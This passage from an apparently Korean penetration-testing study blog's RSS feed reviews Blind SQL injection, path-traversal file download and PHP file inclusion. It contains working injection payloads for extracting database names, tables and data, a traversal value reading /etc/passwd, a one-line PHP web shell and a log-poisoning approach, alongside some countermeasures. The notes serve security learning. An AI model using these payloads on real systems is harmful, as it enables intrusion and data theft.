&lt;p data-ke-size=&quot;size16&quot;&gt;비밀글 읽기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>모의해킹 공부하기/모의해킹 수업 복습</category>
      <category>Gusssing 공격</category>
      <category>javascript 난독화</category>
      <category>Response 변조</category>
      <category>동적 분석</category>
      <category>인가 Athorization</category>
      <category>인증 Athentication</category>
      <category>주석으로 접근을 제한</category>
      <category>파라미터 변조</category>
      <author>hanse84</author>
      <guid isPermaLink="true">https://hanse84.tistory.com/31</guid>
      <comments>https://hanse84.tistory.com/31#entry31comment</comments>
      <pubDate>Wed, 21 Feb 2024 23:39:56 +0900</pubDate>
    </item>
    <item>
      <title>[7주차-2] Blind SQL Injection</title>
      <link>https://hanse84.tistory.com/30</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;u&gt;&lt;b&gt;Blind SQL Injection 공격 순서&lt;/b&gt;&lt;/u&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;1. SQL Injection Point 찾기&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참과 거짓 조건을 통해 SQLi가 가능한지 여부를 체크한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;normaltic'&amp;nbsp;and&amp;nbsp;('1'='1')&amp;nbsp;and&amp;nbsp;'1'&amp;nbsp;=&amp;nbsp;'1&lt;br /&gt;normaltic'&amp;nbsp;and&amp;nbsp;('1'='2')&amp;nbsp;and&amp;nbsp;'1'&amp;nbsp;=&amp;nbsp;'1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;2. Select 문구가 먹히는지 확인&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;normaltic'&amp;nbsp;and&amp;nbsp;((select&amp;nbsp;'test')='test')&amp;nbsp;and&amp;nbsp;'1'&amp;nbsp;=&amp;nbsp;'1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;3. 공격 Format을 준비한다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;normaltic'&amp;nbsp;and&amp;nbsp;(&lt;span style=&quot;color: #ee2323;&quot;&gt;❤&lt;/span&gt;)&amp;nbsp;and&amp;nbsp;'1'&amp;nbsp;=&amp;nbsp;'1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323; text-align: start;&quot;&gt;❤ &lt;/span&gt;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;부분에 조건을 넣을 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;4. substr함수를 이용하여 한 글자씩 찾아낸다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;substr()&lt;/span&gt; : 글자를&amp;nbsp;잘라주는&amp;nbsp;함수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예시) 글자가 test 일 때,&lt;br /&gt;&amp;nbsp; substr('test',1,1) -&amp;gt; 't'&lt;br /&gt;&amp;nbsp; substr('test',1,2) -&amp;gt; 'te'&lt;br /&gt;&amp;nbsp; substr('test',2,1) -&amp;gt; 'e'&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sebstr((&lt;span style=&quot;color: #ee2323; text-align: start;&quot;&gt;❤&lt;/span&gt;),1,1)&lt;br /&gt;&lt;span style=&quot;color: #ee2323; text-align: start;&quot;&gt;❤ &lt;/span&gt;에 SQL Select문을 넣는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sebstr((select&amp;nbsp;'test'),1,1)&amp;nbsp;=&amp;nbsp;'t'&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;normaltic'&amp;nbsp;and&amp;nbsp;(&lt;u&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;substr&lt;/span&gt;&lt;/u&gt;((select&amp;nbsp;'test'),1,1)&amp;nbsp;=&amp;nbsp;'t')&amp;nbsp;and&amp;nbsp;'1'&amp;nbsp;=&amp;nbsp;'1&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;5. ascii 코드를 활용하여 한 글자씩 찾아낸다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;normaltic' and (&lt;u&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;ascii&lt;/span&gt;&lt;/u&gt;(substr((&lt;span style=&quot;color: #ee2323; text-align: start;&quot;&gt;❤&lt;/span&gt;),1,1)) &amp;gt; 0) and '1' = '1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;normaltic'&amp;nbsp;and&amp;nbsp;(&lt;u&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;ascii&lt;/span&gt;&lt;/u&gt;(substr((&lt;span style=&quot;color: #ee2323;&quot;&gt;select&amp;nbsp;'normaltic'&lt;/span&gt;),1,1))&amp;nbsp;&lt;span style=&quot;color: #ee2323;&quot;&gt;&amp;gt;&amp;nbsp;70&lt;/span&gt;)&amp;nbsp;and&amp;nbsp;'1'&amp;nbsp;=&amp;nbsp;'1&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;글자를 숫자로 대입이 가능한 &lt;b&gt;ascii 코드&lt;/b&gt;를 활용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;업다운 게임 방식으로 빠르게 찾을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;예시) 100 이하의 숫자 빠르게 찾기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;50 &amp;gt; 75 &amp;gt; 87 &amp;gt; ...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ascii('a')&amp;nbsp;=&amp;nbsp;97&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;588&quot; data-origin-height=&quot;796&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wgqHj/btsE7plGoF0/WkFRERscu7wX04oJf5GCP0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wgqHj/btsE7plGoF0/WkFRERscu7wX04oJf5GCP0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wgqHj/btsE7plGoF0/WkFRERscu7wX04oJf5GCP0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwgqHj%2FbtsE7plGoF0%2FWkFRERscu7wX04oJf5GCP0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;588&quot; height=&quot;796&quot; data-origin-width=&quot;588&quot; data-origin-height=&quot;796&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;6. DB 찾기 :&amp;nbsp;&lt;span style=&quot;color: #006dd7;&quot;&gt;select&amp;nbsp;database()&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;normaltic'&amp;nbsp;and&amp;nbsp;(ascii(substr((&lt;u&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;select&amp;nbsp;database()),1,1&lt;/span&gt;&lt;/u&gt;))&amp;nbsp;&amp;gt;&amp;nbsp;70)&amp;nbsp;and&amp;nbsp;'1'&amp;nbsp;=&amp;nbsp;'1&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;7. table 찾기&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;:&amp;nbsp;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;select&amp;nbsp;table_name&amp;nbsp;from&amp;nbsp;information_schema.tables&amp;nbsp;where&amp;nbsp;table_schema&amp;nbsp;=&amp;nbsp;&quot;DB이름&quot;&amp;nbsp;limit&amp;nbsp;0,1&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;normaltic' and (ascii(substr((&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;select table_name from information_schema.tables where table_schema = &quot;DB이름&quot; limit 0,1&lt;/b&gt;&lt;/span&gt;))&amp;nbsp;&amp;gt;&amp;nbsp;70)&amp;nbsp;and&amp;nbsp;'1'&amp;nbsp;=&amp;nbsp;'1&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;8. Column 찾기&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;:&amp;nbsp;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;select&amp;nbsp;column_name&amp;nbsp;from&amp;nbsp;information_schema.columns&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;where&amp;nbsp;table_name&amp;nbsp;=&amp;nbsp;'테이블이름'&amp;nbsp;limit&amp;nbsp;0,1&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;normaltic' and (ascii(substr((&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;select&amp;nbsp;column_name&amp;nbsp;from&amp;nbsp;information_schema.columns&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;where table_name = '테이블이름' limit 0,1&lt;/b&gt;&lt;/span&gt;))&amp;nbsp;&amp;gt;&amp;nbsp;70)&amp;nbsp;and&amp;nbsp;'1'&amp;nbsp;=&amp;nbsp;'1&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;9. DATA 확인&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[추출식] : select flag from &lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;flagTable&lt;/span&gt;&lt;/u&gt;&lt;/b&gt; limit 0,1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[대입]&amp;nbsp;:&amp;nbsp;normaltic'&amp;nbsp;and&amp;nbsp;(ascii(substr((select&amp;nbsp;&lt;u&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;flag&lt;/b&gt;&lt;/span&gt;&lt;/u&gt;&amp;nbsp;from&amp;nbsp;&lt;u&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;flagTable&lt;/b&gt;&lt;/span&gt;&lt;/u&gt;&amp;nbsp;limit&amp;nbsp;0,1),1,1))&amp;nbsp;&amp;gt;&amp;nbsp;0)&amp;nbsp;and&amp;nbsp;'1'&amp;nbsp;=&amp;nbsp;'1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Flag가 있는 &lt;b&gt;테이블 네임과 컬럼을 활용&lt;/b&gt;하여 데이터 추출을 진행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Blind SQL Injection이 처음이라면, 꼭 수동으로 풀어보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 이후 Burp의 리피터 혹은 Python 등으로 자동화 구축해서 진행하자.&lt;/p&gt;</description>
      <category>모의해킹 공부하기/모의해킹 수업 복습</category>
      <category>ASCII 코드표</category>
      <category>Blind SQL Injection 공격 순서</category>
      <category>substr()</category>
      <author>hanse84</author>
      <guid isPermaLink="true">https://hanse84.tistory.com/30</guid>
      <comments>https://hanse84.tistory.com/30#entry30comment</comments>
      <pubDate>Tue, 20 Feb 2024 16:18:21 +0900</pubDate>
    </item>
    <item>
      <title>[15주차-3] File download 취약점</title>
      <link>https://hanse84.tistory.com/29</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;download.php (파일을 전달해주는 웹 요청)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;을 이용해서 다음과 같이 파일을 다운로드 한다고 가정해볼게.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;download.php?fileName=70.jpg&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1707923699692&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
	fileName = $_GET['fileName'];
	download('/files/' . $fileName);
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;. 은 앞과 뒤를 연결해주는 역할이기 때문에 저 fileName 부분을 활용해 볼거야.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;fileName = ../../../../../../../../etc/passwd&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;장점 : &lt;u&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;소스코드를 다운로드&lt;/b&gt;&lt;/span&gt;&lt;/u&gt; 할 수 있어&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단점 : 소스코드를 실행하지 못해.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;파일 다운로드 취약점을 발견했다면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;1순위로 소스코드를 찾는게 가장 중요해. (엄청난 취약점이야)&lt;/b&gt;&lt;/span&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스코드를 보고 SQLi을 찾을 수도 있어!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 취약점을 침투테스트 시 어떻게 활용할 수 있을지 곰곰히 생각해 봐야해!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;br /&gt;❤주로 찾을 파일&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Linux&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/etc/passwd&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Windows&lt;/b&gt;&lt;br /&gt;/boot.ini&lt;br /&gt;/winnt/win.ini&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>모의해킹 공부하기/모의해킹 수업 복습</category>
      <category>File download 취약점</category>
      <category>소스코드 다운로드</category>
      <author>hanse84</author>
      <guid isPermaLink="true">https://hanse84.tistory.com/29</guid>
      <comments>https://hanse84.tistory.com/29#entry29comment</comments>
      <pubDate>Wed, 14 Feb 2024 23:18:21 +0900</pubDate>
    </item>
    <item>
      <title>[15주차-2] File Include 취약점 및 대응방안</title>
      <link>https://hanse84.tistory.com/28</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;php에서 코드를 작성할 때, 긴 코드일 경우 다른 파일을 불러오는 Include 를 사용하기도 해요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를들어 login.php 에서는 다음과 같이 db접속 코드를 삽입할 수 있어요.&lt;/p&gt;
&lt;pre id=&quot;code_1707922312354&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
	include('dbConfig.php');
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;include&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;include_once&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;require&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 비슷한 역할을 해요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;u&gt;&lt;b&gt;File Include 취약점 (LFI 취약점 : Local File Include)&lt;/b&gt;&lt;/u&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같은 코드였을 때, include로 불러온 파일은 php 코드 안쪽에 그대로 텍스트가 적히기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;php 코드인 경우에는 실행이 될거고, 그냥 txt 라면 그 텍스트가 출력될 거에요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;webshell.jpg 의 내용이&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1707922498637&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php echo system($_GET['cmd']); ?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인 경우, 해당 코드가 바로 실행되어 버리죠.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 ?cmd=&lt;span style=&quot;background-color: #ee2323;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저 영역에 명령어를 넣어서, 서버에 존재하는 임의의 파일을 모두 가져올 수 있게 됩니다. (단, 소스코드 빼고!)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스코드는 php로 되어 있기 때문에, 가져올 수 없습니다. (가져오지 않고 실행 됩니다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;u&gt;&lt;b&gt;파일 업로드는 막혀있지만, LFI 취약점이 존재하는 경우&lt;/b&gt;&lt;/u&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;업로드를 하지 않더라도 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;u&gt;&lt;b&gt;웹 로그&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;로 간접적인 영향을 줄 수 있어요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;../../../../../../opt/lampp/logs/access_log&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행가능한 파라미터를 입력하면, 해당 웹로그에서 실행된 결과를 바로 확인할 수 있어요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;u&gt;&lt;b&gt;핵심은 서버에서 실행되는 파일을 실행하지 못하게끔 하는 것이에요.&lt;/b&gt;&lt;/u&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;1. 파일 이름 난독화 (파일 경로를 감추는 전략)  &lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조건부 대응 방안으로 언제든지 뚫릴 수 있어요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특히 SQLi가 있다면 의미가 없어요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;2. 확장자 화이트 리스트 기반 필터링  &lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;역시 미흡해요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;u&gt;&lt;b&gt;3. DB에 파일을 저장하는 방법 &lt;span style=&quot;color: #ee2323;&quot;&gt;❤&lt;/span&gt;&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;BLOB / CLOB (파일 저장 형식)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터 테이블 안에 바이너리 형태로 저장하면, 실행할 여지가 전혀 없어요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;u&gt;&lt;b&gt;4. NAS Server 이용&lt;u&gt;&lt;b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;❤&lt;/span&gt;&lt;/b&gt;&lt;/u&gt; &lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DB에 파일을 넣는것이 부담스러울 때, DB외에 별도의 서버를 이용해서 저장해요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 저장 서버를 별도로 이용하는 것으로서, 해당 NAS에는 PHP가 설치되어 있으면 안 돼요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹서버와 분리해서 관리해야 합니다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;LFI와 RFI&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;LFI는 공격자가 웹 서버 내부에 있는 파일을 포함시키는 공격이고,&lt;br /&gt;RFI의 경우 Remote File Include로 &lt;b&gt;외부 원격 서버에 있는 파일을 포함 시키는 공격&lt;/b&gt;이에요.&lt;/p&gt;
